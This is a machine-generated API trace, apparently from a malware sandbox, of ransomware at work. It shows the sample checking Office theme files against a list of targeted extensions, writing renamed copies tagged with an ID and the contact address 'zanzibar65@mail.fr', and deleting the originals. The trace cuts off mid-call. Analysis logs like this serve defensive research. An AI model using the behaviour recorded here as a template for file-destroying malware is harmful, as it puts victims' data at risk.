1 [0273.231] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.231] GetLastError () returned 0x0 [0273.231] ReadFile (in: hFile=0x38c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x3fde, lpOverlapped=0x0) returned 1 [0273.234] WriteFile (in: hFile=0x354, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0273.235] ReadFile (in: hFile=0x38c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0273.235] WriteFile (in: hFile=0x354, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.235] SetEndOfFile (hFile=0x354) returned 1 [0273.235] CloseHandle (hObject=0x354) returned 1 [0273.235] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.235] SetEndOfFile (hFile=0x38c) returned 1 [0273.238] CloseHandle (hObject=0x38c) returned 1 [0273.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0273.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.238] lstrlenW (lpString=".doc") returned 4 [0273.238] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.238] lstrlenW (lpString=".docx") returned 5 [0273.238] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.238] lstrlenW (lpString=".pdf") returned 4 [0273.238] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.238] lstrlenW (lpString=".xls") returned 4 [0273.238] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.238] lstrlenW (lpString=".xlsx") returned 5 [0273.239] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.239] lstrlenW (lpString=".ppt") returned 4 [0273.239] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString=".zip") returned 4 [0273.239] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString=".rar") returned 4 [0273.239] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString=".bz2") returned 4 [0273.239] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString=".7z") returned 3 [0273.239] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString=".dbf") returned 4 [0273.239] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString=".1cd") returned 4 [0273.239] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString=".jpg") returned 4 [0273.239] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.239] lstrlenW (lpString=".doc") returned 4 [0273.239] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.239] lstrlenW (lpString=".docx") returned 5 [0273.239] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.239] lstrlenW (lpString=".pdf") returned 4 [0273.240] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString=".xls") returned 4 [0273.240] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString=".xlsx") returned 5 [0273.240] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.240] lstrlenW (lpString=".ppt") returned 4 [0273.240] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.240] lstrlenW (lpString=".zip") returned 4 [0273.240] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString=".rar") returned 4 [0273.240] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString=".bz2") returned 4 [0273.240] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString=".7z") returned 3 [0273.240] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.240] lstrlenW (lpString=".dbf") returned 4 [0273.240] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.240] lstrlenW (lpString=".1cd") returned 4 [0273.240] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0273.240] lstrlenW (lpString=".jpg") returned 4 [0273.240] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.240] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.240] lstrlenW (lpString="Executive.eftx") returned 14 [0273.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0273.428] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=21156) returned 1 [0273.428] CloseHandle (hObject=0x2f8) returned 1 [0273.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0273.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0273.563] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.563] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.563] GetLastError () returned 0x0 [0273.563] ReadFile (in: hFile=0x2ec, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x52a4, lpOverlapped=0x0) returned 1 [0273.578] WriteFile (in: hFile=0x394, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0273.580] ReadFile (in: hFile=0x2ec, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0273.580] WriteFile (in: hFile=0x394, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.580] SetEndOfFile (hFile=0x394) returned 1 [0274.123] CloseHandle (hObject=0x394) returned 1 [0274.124] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.124] SetEndOfFile (hFile=0x2ec) returned 1 [0274.126] CloseHandle (hObject=0x2ec) returned 1 [0274.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString=".doc") returned 4 [0274.128] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".docx") returned 5 [0274.128] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.128] lstrlenW (lpString=".pdf") returned 4 [0274.128] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".xls") returned 4 [0274.128] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".xlsx") returned 5 [0274.128] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.128] lstrlenW (lpString=".ppt") returned 4 [0274.128] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString=".zip") returned 4 [0274.128] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".rar") returned 4 [0274.128] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".bz2") returned 4 [0274.128] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString=".7z") returned 3 [0274.128] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString=".dbf") returned 4 [0274.128] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString=".1cd") returned 4 [0274.128] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.128] lstrlenW (lpString=".jpg") returned 4 [0274.128] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.129] lstrlenW (lpString=".doc") returned 4 [0274.129] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".docx") returned 5 [0274.129] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.129] lstrlenW (lpString=".pdf") returned 4 [0274.129] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".xls") returned 4 [0274.129] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".xlsx") returned 5 [0274.129] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.129] lstrlenW (lpString=".ppt") returned 4 [0274.129] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.129] lstrlenW (lpString=".zip") returned 4 [0274.129] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".rar") returned 4 [0274.129] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".bz2") returned 4 [0274.129] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.129] lstrlenW (lpString=".7z") returned 3 [0274.129] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.129] lstrlenW (lpString=".dbf") returned 4 [0274.129] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.130] lstrlenW (lpString=".1cd") returned 4 [0274.130] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0274.130] lstrlenW (lpString=".jpg") returned 4 [0274.130] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.130] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.130] lstrlenW (lpString="Oriel.eftx") returned 10 [0274.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.132] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=43193) returned 1 [0274.132] CloseHandle (hObject=0x394) returned 1 [0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.133] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.133] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.134] GetLastError () returned 0x0 [0274.134] ReadFile (in: hFile=0x394, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0274.146] WriteFile (in: hFile=0x38c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0274.147] ReadFile (in: hFile=0x394, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.148] WriteFile (in: hFile=0x38c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0274.148] SetEndOfFile (hFile=0x38c) returned 1 [0274.148] CloseHandle (hObject=0x38c) returned 1 [0274.148] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.148] SetEndOfFile (hFile=0x394) returned 1 [0274.155] CloseHandle (hObject=0x394) returned 1 [0274.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0274.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.155] lstrlenW (lpString=".doc") returned 4 [0274.155] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.155] lstrlenW (lpString=".docx") returned 5 [0274.155] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.155] lstrlenW (lpString=".pdf") returned 4 [0274.155] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.155] lstrlenW (lpString=".xls") returned 4 [0274.155] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.155] lstrlenW (lpString=".xlsx") returned 5 [0274.155] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.155] lstrlenW (lpString=".ppt") returned 4 [0274.155] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.155] lstrlenW (lpString=".zip") returned 4 [0274.155] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.155] lstrlenW (lpString=".rar") returned 4 [0274.156] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".bz2") returned 4 [0274.156] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".7z") returned 3 [0274.156] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString=".dbf") returned 4 [0274.156] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString=".1cd") returned 4 [0274.156] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString=".jpg") returned 4 [0274.156] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString=".doc") returned 4 [0274.156] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".docx") returned 5 [0274.156] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.156] lstrlenW (lpString=".pdf") returned 4 [0274.156] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".xls") returned 4 [0274.156] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".xlsx") returned 5 [0274.156] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.156] lstrlenW (lpString=".ppt") returned 4 [0274.156] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.156] lstrlenW (lpString=".zip") returned 4 [0274.156] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.156] lstrlenW (lpString=".rar") returned 4 [0274.156] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.157] lstrlenW (lpString=".bz2") returned 4 [0274.157] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.157] lstrlenW (lpString=".7z") returned 3 [0274.157] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.157] lstrlenW (lpString=".dbf") returned 4 [0274.157] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.157] lstrlenW (lpString=".1cd") returned 4 [0274.157] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0274.157] lstrlenW (lpString=".jpg") returned 4 [0274.157] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.157] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.157] lstrlenW (lpString="Paper.eftx") returned 10 [0274.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.158] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=228746) returned 1 [0274.158] CloseHandle (hObject=0x394) returned 1 [0274.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0274.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.158] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.158] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.159] GetLastError () returned 0x0 [0274.159] ReadFile (in: hFile=0x394, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0274.165] WriteFile (in: hFile=0x38c, 